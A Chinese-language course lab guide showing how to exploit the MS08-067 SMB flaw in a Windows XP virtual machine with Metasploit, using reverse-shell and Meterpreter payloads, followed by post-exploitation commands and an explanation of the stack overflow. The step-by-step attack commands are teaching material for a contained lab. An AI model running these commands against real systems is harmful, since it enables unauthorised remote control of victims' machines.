ExpGuides/0x59_MSF_MS08-067.md · wildlinux/NetSec

# 5.3 MSF2 MS08-067 漏洞渗透攻击实践

## 5.3.1 环境配置

本次实践我使用了上学期的kali虚拟机和百度云盘中的WinXPEnSP3虚拟机。关于虚拟机下载后解压缩用VMware打开即可。

开启kali和xp虚拟机，并配置ip在同一网段（检查ping通即可）。

我使用NAT模式，让两台虚拟机自动分配ip地址，故直接可以ping通。（NAT模式可在"虚拟机-设置-网络适配器"中设置，WinXPEnSP3虚拟机默认是固定ip，需要更改成自动分配ip）
	
	注：这一步不一定要一样，只要两台虚拟机能ping通就开以了。

## 5.3.2 实践步骤

### 1.MS08-067远程溢出漏洞实践（shell）

1 进入metasploit的msfconsole控制台（进入可能需要若干分钟）

msfconsole

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807225046887-139851407.png)

2 在msf模式下查找与其相关的漏洞攻击程序，看到exploit/windows/smb/ms08_067_netapi的信息

search  ms08_067或者search  ms08-067

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807225115450-177880203.png)

3 输入命令使用该漏洞攻击程序

use exploit/windows/smb/ms08_067_netapi

4 现在，我们已经驾驭了"ms08_067_netapi"这个漏洞攻击程序了，接下来我们就要查找一下metasploit下的有效攻击荷载（payload），查找结果如下图所示:

show  payloads

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807225243293-1592410728.png)

5 找到我们想要用的payload后，使用下述命令设置payload

set payload generic/shell_reverse_tcp

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807225257418-1937786935.png)

6 之后，使用show options查看该payload的状态，使用show targets查看可以使用的攻击类型，如下图所示:

show options

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807225339356-426668981.png)

show targets

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807225402715-525588679.png)

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807225422090-1277949873.png)

7 设置RHOST和LHOST和target，并使用show options再次查看payload的状态

set RHOST “目标主机的ip”

set LHOST “监听主机的ip”

set target 0

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807225455309-1836862827.png)

show options

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807225525762-349108340.png)

8 检查无误后，使用exploit进行攻击！

exploit

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807225545481-135485601.png)

9 成功后进入windows的命令行界面，使用简单命令进行入侵检验~

ipconfig/all

Kali:
![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807225638715-1367860769.png)

Windows XP:
![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807225605653-1874063362.png)

### 2.MS08-067远程溢出漏洞实践（meterpreter）

1 步骤与上一个实践的步骤基本相同，只是在设置payload的时候，将payload设置成windows/meterpreter/reverse_tcp即可。其余步骤都一样。

set payload windows/meterpreter/reverse_tcp

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807225739668-594030912.png)

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807225756872-2067315509.png)

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807230003934-1037980843.png)

2 攻击目标主机

exploit

3.1 查看ip信息

ifconfig

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807230048778-1665484531.png)

3.2 截屏

screenshot

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807230106465-372512465.png)

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807230121450-1821465835.png)
	
	3.3 获取进程当前列表

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807230145934-2089145008.png)

3.4 从meterpreter变为shell，并查看ip信息

shell

ipconfig/all

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807230228762-839674423.png)

3.5 退回meterpreter

exit

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160807230244575-2048791939.png)

3.6 还有很多命令可以使用，在此就不一一列举了。

## 5.3.3 漏洞原理

### 1.MS08-067漏洞描述

MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”，如果用户在受影响的系统上收到特制的 RPC 请求，则该漏洞可能允许远程执行代码。在Windows 2000、Windows XP 和 Windows Server 2003 系统上，攻击者可能未经身份验证即可利用此漏洞运行任意代码，此漏洞可用于进行蠕虫攻击，目前已经有利用该漏洞的蠕虫病毒。防火墙最佳做法和标准的默认防火墙配置，有助于保护网络资源免受从企业外部发起的攻击，默认情况下能建立空连接。

如果用户在受影响的系统上收到特制的 RPC 请求，则MS08-067漏洞可能允许远程执行代码。 在Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上，攻击者可能未经身份验证即可利用MS08-067漏洞运行任意代码。 MS08-067漏洞可能用于进行蠕虫攻击。

MS08_067漏洞攻击原理是攻击者利用受害者主机默认开放的SMB服务端口445，发送恶意资料到该端口，通过MSRPC接口调用Server服务的一个函数，并破坏程序的栈缓冲区，获得远程代码执行（Remote Code Execution）权限，从而完全控制主机。

### 2.MS08-067分析——ms08_067_netapi.rb

查找文件：

MS08_67漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的，而NetPathCanonicalize函数在远程访问其他主机时，会调用NetpwPathCanonicalize函数，对远程访问的路径进行规范化，而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误，造成可被利用实施远程代码执行。

MS08-067渗透的攻击模块对应的源代码文件为ms08_067_netapi.rb，我的源代码存在于/usr/share/metasploit-framework/modules/exploits/windows/smb/ms08_067_netapi.rb中。

命令：

cd /

find . -name ms08_067_netapi.rb -print

（打印出路径后即可Ctrl+c退出搜索，按照搜索到的路径进入源代码文件）

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160825222559069-1599109014.png)

分析函数：

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160825222610397-2034418543.png)

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160825222619116-331793143.png)

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160825222630366-135508855.png)

Windows XP Service Pack 2 中包含了一个名为 DisableNX 的全新应用程序兼容性修复程序。DisableNX 兼容性修复程序可以针对它所适用的程序禁用数据执行保护。上图中的 DisableNX 猜测是该程序的入口地址。

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160825222649616-1791112521.png)

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160825222657335-893145228.png)

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160825222704038-1028837096.png)

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160825222709632-826092389.png)

![](http://images2015.cnblogs.com/blog/810675/201608/810675-20160825222716257-233277245.png)

静态分析待续……

## 参考资料

《Metasploit渗透测试魔鬼训练营》     诸葛建伟 著

[MS08-067漏洞重现](http://blog.csdn.net/hard_lushunming/article/details/49093769)

wildlinux/NetSec

简介

发行版

贡献者

语言

近期动态

wildlinux/NetSec .gitee-modal { width: 500px !important; }

简介

发行版

贡献者

语言

近期动态

搜索帮助

wildlinux/NetSec